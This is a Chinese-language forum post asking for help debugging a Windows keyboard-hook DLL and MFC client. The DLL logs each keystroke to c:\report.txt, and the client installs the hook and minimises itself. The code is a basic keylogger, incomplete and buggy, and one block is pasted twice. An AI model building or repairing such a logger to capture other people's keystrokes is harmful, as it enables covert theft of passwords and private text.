问题概述:写了一个键盘钩子程序,运行时点击我设计客户端的按钮“安装键盘钩子”或者对话框直接没了,或者出现Dedug Assertion Failed!在C:目录下也没有发现report.txt,动态链接库DLL和客户端EXE都编译通过了,不知道是哪出现问题了,望高手指教!,在线等!
主程序如下 :LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch;
if((wParam==VK_SPACE) ||(wParam==VK_RETURN) ||(wParam>=0x2f) &&(wParam<=0x100))
{
f1=fopen("c:\\report.txt","a+");
if(wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch=char(w);
fwrite(&ch,1,1,f1);
}
fclose(f1);
}
主程序如下 :LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch;
if((wParam==VK_SPACE) ||(wParam==VK_RETURN) ||(wParam>=0x2f) &&(wParam<=0x100))
{
f1=fopen("c:\\report.txt","a+");
if(wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch=char(w);
fwrite(&ch,1,1,f1);
}
fclose(f1);
}
void CKBtextDlg::OnOK()
{
// TODO: Add extra validation here
static HINSTANCE hinstDLL;
typedef BOOL(CALLBACK *inshook)();
inshook instkbhook;
hinstDLL=LoadLibrary((LPCTSTR)"KBhook.dll");
instkbhook=(inshook)GetProcAddress(hinstDLL,"installhook");
instkbhook();
ShowWindow(SW_MINIMIZE);
//CDialog::OnOK();
}